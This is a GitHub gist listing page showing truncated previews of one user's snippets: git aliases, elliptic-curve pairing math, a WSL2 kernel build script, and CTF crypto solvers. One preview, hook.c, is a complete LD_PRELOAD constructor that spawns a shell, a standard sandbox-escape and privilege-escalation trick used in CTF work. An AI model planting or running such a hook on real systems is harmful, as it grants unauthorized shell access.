Skip to content

Instantly share code, notes, and snippets.

View maple3142's full-sized avatar

maple maple3142

View GitHub Profile
@maple3142
maple3142 / wol_go.go
Created September 26, 2024 14:35
wake on lan go
package main
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
[alias]
lg = lg1
lg1 = lg1-specific --all
lg2 = lg2-specific --all
lg3 = lg3-specific --all
lg1-specific = log --graph --abbrev-commit --decorate --format=format:'%C(bold blue)%h%C(reset) - %C(bold green)(%ar)%C(reset) %C(white)%s%C(reset) %C(dim white)- %an%C(reset)%C(auto)%d%C(reset)'
lg2-specific = log --graph --abbrev-commit --decorate --format=format:'%C(bold blue)%h%C(reset) - %C(bold cyan)%aD%C(reset) %C(bold green)(%ar)%C(reset)%C(auto)%d%C(reset)%n'' %C(white)%s%C(reset) %C(dim white)- %an%C(reset)'
lg3-specific = log --graph --abbrev-commit --decorate --format=format:'%C(bold blue)%h%C(reset) - %C(bold cyan)%aD%C(reset) %C(bold green)(%ar)%C(reset) %C(bold cyan)(committed: %cD)%C(reset) %C(auto)%d%C(reset)%n'' %C(white)%s%C(reset)%n'' %C(dim white)- %an <%ae> %C(reset) %C(dim white)(committer: %cn <%ce>)%C(reset)'
@maple3142
maple3142 / bls12381.sage
Last active September 19, 2024 04:18
BLS12-381 pairing in sage
# BLS12-381
# https://hackmd.io/@benjaminion/bls12-381
x = var("x")
q = 0x1A0111EA397FE69A4B1BA7B6434BACD764774B84F38512BF6730D2A0F6B0F6241EABFFFEB153FFFFB9FEFFFFFFFFAAAB
r = 0x73EDA753299D7D483339D80809A1D80553BDA402FFFE5BFEFFFFFFFF00000001
Fq = GF(q)
Fq2 = GF(q ^ 2, "i", x ^ 2 + 1)
i = Fq2.gen()
u6 = 1 / (1 + i)
b = 4
@maple3142
maple3142 / wsl2kernel.sh
Created September 15, 2024 08:01
Update WSL2 Kernel
curl -LJO 'https://github.com/microsoft/WSL2-Linux-Kernel/archive/refs/tags/linux-msft-wsl-6.6.36.6.tar.gz'
tar xzf WSL2-Linux-Kernel-linux-msft-wsl-6.6.36.6.tar.gz
cd WSL2-Linux-Kernel-linux-msft-wsl-6.6.36.6
# current kernel: 5.15.153.1-microsoft-standard-WSL2
cat /proc/config.gz | gzip -d > .config
make oldconfig # press ENTER for every question to use default config
make -j8 # Compile kernel
cp arch/x86/boot/bzImage /mnt/c/Windows/YOUR_USERNAME/bzImage
# In Windows $HOME/.wslconfig, `[wsl2]` section, set `kernel=C:\\Users\\YOUR_USERNAME\\bzImage`
import hashlib
try:
import gmpy2
HAS_GMPY2 = True
except ImportError:
HAS_GMPY2 = False
b = 256
@maple3142
maple3142 / normal.py
Last active July 9, 2024 05:59
DownUnderCTF 2024 - super party computation
from pwn import process, context
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
from Crypto.Util.number import bytes_to_long
import json
from server import key_agreement, Paillier_PublicKey, e_add_const, e_mul_const
CURVE = "p256"
@maple3142
maple3142 / ngrams.json
Created July 7, 2024 09:57
DownUnderCTF 2024 Quals - three line crypto
{"Thi": -8.29006305458414, "his": -6.028756264582789, "is ": -5.533245861866925, "s i": -7.319505351894243, " is": -6.450440742453986, "s t": -6.40498609966847, " th": -4.372319218082527, "the": -4.823210075216906, "he ": -5.0991662585590305, "e 1": -14.819481892846365, " 10": -12.74004035116653, "100": -14.12633471228642, "00t": -15.51262907340631, "0th": -15.51262907340631, "th ": -6.027463930980903, "h E": -12.679415729350094, " Et": -12.078641868921164, "Ete": -12.947679715944773, "tex": -11.561385354824884, "ext": -9.474758153484172, "xt ": -9.906827007110314, "t f": -7.710419757159193, " fi": -7.431154033269259, "fil": -10.092094074134025, "ile": -8.413427329853219, "le ": -7.159603228203985, "e p": -7.361295735505878, " pr": -6.853762723673928, "pre": -8.045829598387709, "res": -7.273299645504515, "ese": -7.6652572372465215, "sen": -7.9983744205899, "ent": -6.625114476017489, "nte": -7.142776469888782, "ted": -7.927347994767185, "ed ": -6.72449313354259, "d b": -7.3914458313274825, " by": -7.5305541983
@maple3142
maple3142 / ov.py
Last active June 19, 2024 13:05
vsctf 2024 - salad
from sage.all import Matrix, vector, Zmod, var, ZZ
import random
class Random:
def __init__(self, modulus):
self.r = random.SystemRandom()
self.modulus = modulus
def next(self):
return self.r.randrange(1, self.modulus)
class CentralMapping:
def __init__(self, o, v, modulus):
@maple3142
maple3142 / hook.c
Last active April 1, 2024 16:22
generic LD_PRELOAD shell hook example
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
__attribute__((constructor)) void init() {
putenv("LD_PRELOAD=");
system("sh");
exit(0);
}
// gcc -shared -fPIC hook.c -o hook.so -ldl -Os -s -Wall
@maple3142
maple3142 / a.js
Created March 31, 2024 03:47
wasm debug helper functions
const mem = new Uint8Array(Module.asm.memory.buffer)
function encode(str) {
return new TextEncoder().encode(str)
}
function decode(arr) {
return new TextDecoder().decode(arr)
}